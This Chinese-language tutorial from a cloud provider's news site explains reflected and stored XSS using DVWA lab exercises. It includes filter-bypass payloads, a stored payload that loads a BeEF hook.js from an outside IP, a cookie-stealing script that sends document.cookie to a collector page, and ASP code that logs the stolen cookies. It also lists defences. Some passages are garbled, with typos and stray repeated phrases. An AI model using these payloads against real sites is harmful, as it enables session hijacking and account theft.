溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣理解XSS

發(fā)布時間:2021-11-22 18:19:08 來源:億速云 閱讀:199 作者:柒染 欄目:網絡安全

本篇文章為大家展示了怎樣理解XSS,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

XSS跨站腳本攻擊(Cross Site Scripting),是將Java script代碼插入web頁面中,之后當用戶瀏覽頁面時, 會執(zhí)行嵌套在web頁面里面的Java script代碼,從而達到攻擊用戶的目的。為了跟HTML里面的層疊樣式表(CSS ,Cascading Style Sheets)作區(qū)分,所以叫作XSS.

反射型XSS的入侵過程:

攻擊者將含有惡意JavaScript代碼的URL發(fā)給用戶==>用戶打開URL==>web應用程序對攻擊者的JavaScript做出回應==>用戶瀏覽器向攻擊者發(fā)送會話信息==>攻擊者使用會話信息跟web服務器進行交互。

攻擊步驟:

(1)用戶正常登錄web應用程序,登錄之后獲得一個cookie

(2)攻擊者將含有攻擊代碼的URL發(fā)送給用戶

(3)用戶打開URL

(4)Web服務器執(zhí)行該URL中用戶的請求,同時執(zhí)行該URL中所包含的的JavaScript代碼

(5)攻擊者可以使用的攻擊代碼的的可以將用戶的cookie信息發(fā)送到cookie_save.php

(6)攻擊者獲得用戶的cookie之后可以將這些信息進行登錄.

危害:可以給對方瀏覽器構造一個惡意彈窗,可以在XSS里面加入惡意代碼或者惡意鏈接等

打個比喻alert(“XSS”),如果換成inframescr=http://127.0.0.1.exe),如果http://127.0.0.1.exe是一個木馬之后瀏覽這個頁面的網站管理員跟用戶都會感染木馬

儲存型XSS入侵過程:

web執(zhí)行惡意代碼構造URL==>用戶訪問這個網站==>在這瀏覽器中執(zhí)行惡意JavaScript代碼==>將cookie等重要參數返回到攻擊者

危害:可以獲取用戶的信息,cookie等。

在本文XSS實驗中,我們用彈窗作為現象。為什么我們在這里用彈窗呢,因為彈窗最明顯

XSS反射型

我們打開DVWA中的XSS(Reflection)

怎樣理解XSS

之后我們在what’s your name?里面任意輸入一個東西就會返回hello,下面我們以1為例。

怎樣理解XSS

我們也可以在這輸入XSS腳本我們這拿alert(2)舉例子

怎樣理解XSS

我們可以構造一個彈窗,我們用burp抓一下包丟到掃描器里面掃一下得到了以下結果。

怎樣理解XSS

下面,我們來看一下這個結果的報告

漏洞詳情(Issue detail):

name請求參數的值作為標簽之間的純文本復制到HTML文檔中.它的payload(arz4valert(1)pxrmb)中已經將name參數中提交.由于該參數在瀏覽器中未被過濾,所以可以將Java script注入到這個應用響應中

DVWA中級別的方法是利用嵌套進繞過<scr<script>ipt>alert(“1”)</scr<script>ipt>。在中級別xss會過濾<script>標簽,但是不會進行反復過濾。

我們看一下中級的代碼:

<?php 
header ("X-XSS-Protection: 0"); 
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input   $name = str_replace( '<script>', '', $_GET[ 'name' ] );     $name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end user
    echo "<pre>Hello ${name}</pre>";
} 
?>

最高級別的方法是<a herf=Javasrcipt:alert(“XSS”)>1</a>。利用這里面的Javascript:alert(“XSS”)進行編碼就可以繞過。

高級的代碼:

<?php 
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {    
     // Get input     
     $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );    
     // Feedback for end user     
     echo "<pre>Hello ${name}</pre>"; } 
?>

儲存型XSS

瀏覽器中有一個非常重要的安全機制叫做同源,同源的意思是只有同一個域里面的東西才能相互使用cookie。Cookie指某些網站為了辨別用戶身份、進行 session 跟蹤而儲存在用戶本地終端上的數據(通常經過加密)。cookie保存在瀏覽器中。

在儲存型XSS中可以用herf屬性進行繞過:

例如:<A HERF=URL>link</A>

我們首先打開一個叫做beef-XSS的工具。

怎樣理解XSSBeEF是一個用于合法研究和測試目的的專業(yè)瀏覽器漏洞利用框架,它允許有經驗的滲透測試人員或系統(tǒng)管理員對目標進行攻擊測試,攻擊成功以后會加載瀏覽器劫持會話。

我們在終端輸入beef-xss之后,不光在終端上出現如上界面,還會出現瀏覽器頁面。網頁端beEF的賬號密碼都是beef。

怎樣理解XSS

我們在DVWA的儲存型XSS里面輸入<script scr="[[http://192.168.0.103:3000/hook.js](http://192.168.0.103:3000/hook.js)]([http://192.168.0.103:3000/hook.js](http://192.168.0.103:3000/hook.js))”></script>。在beef里面出現如下界面。

怎樣理解XSS

這個之后我們雙擊127.0.0.1之后進入這個頁面

怎樣理解XSS之后我們點擊Commands(命令)之后在這里面輸入cookie

怎樣理解XSS

之后我們回車,并點擊get cookie

怎樣理解XSS之后點擊Execute(執(zhí)行)。之后就會彈回來cookie去掉輸入中的引號

怎樣理解XSS問題背景(Issue background):

當一個數據請求以不安全的方式返回到應用程序響應中的時候,我們就可以判斷這是個發(fā)射去掉輸入中的引號

型XSS.我們可以構建一個請求,如果由另外一個用戶觸發(fā),我們寫的惡意Java script代碼就可以在對方瀏覽器運行.我們寫的Java script代碼可以進行各種操作,例如竊取cookie用受害人的身份登錄,進行操作.

XSS的傳播方式

1.可以通過郵件或者某些其他的通訊方式,給受害者發(fā)送一個含有惡意URL的鏈接

2.在一些熱門網站的評論區(qū)進行惡意Javascript代碼插入

3.可以創(chuàng)建一個網站之后讓所有人都可見,以便于對用戶發(fā)起XSS攻擊(GET或者POST請求)進行跨域

XSS的影響:

XSS受影響程度取決于受攻擊的人,其包含的數據和功能會不會影響同一個域內的其他人或者其他應用程序.如果是在某一個不重要的位置,例如某個不敏感而且沒有身份驗證或者控制訪問的地方,XSS幾乎沒有什么用.如果是在關鍵的地方,例如cookie里面,這樣就會威脅到其他的應用程序所以被判定為危險.同樣如果XSS被用到釣魚上面,那么XSS就會增加用戶的信任,同時安全軟件也不會警告.從而使用木馬進行進一步攻擊。

防御策略:

1.在輸入的地方進行嚴格的驗證,例如個人信息的長度,電子郵箱的正則表達式的匹配.也就是我們俗稱的白名單.

2.把用戶輸入任何位置的信息進行HTML編碼,將用戶輸入所有<>和””進行替換.在應用程序中限制用戶使用HTML標簽跟熟悉.

3.去掉<img>,<a>,<script>等標簽。

4.限制輸入字符

5.去掉輸入中的引號

6.對輸入的URL進行解碼,之后進行編碼

7.將重要的cookie標記為http only

攻擊姿勢

竊取cookie的XSS代碼:

<script>document.location=’[http://127.0.0.1/1.asp?msg=](http://127.0.0.1/1.asp?msg=)’+document.cookie</script> 

<%

Thisfile=Server.MapPath(“cookie.txt”)

Msg=Request(“msg”)

Setfs=server.CreateObject(“scripting.filesystemobject”)

Setthisfile=fs.OpenTextFile(thsfile,8True,0)

thisfile.WriteLine(“======cookie:”&msg&”=====byXSS”)

Thisfile.close

Setfs=nothing

%>

上述內容就是怎樣理解XSS,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業(yè)資訊頻道。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

xss
AI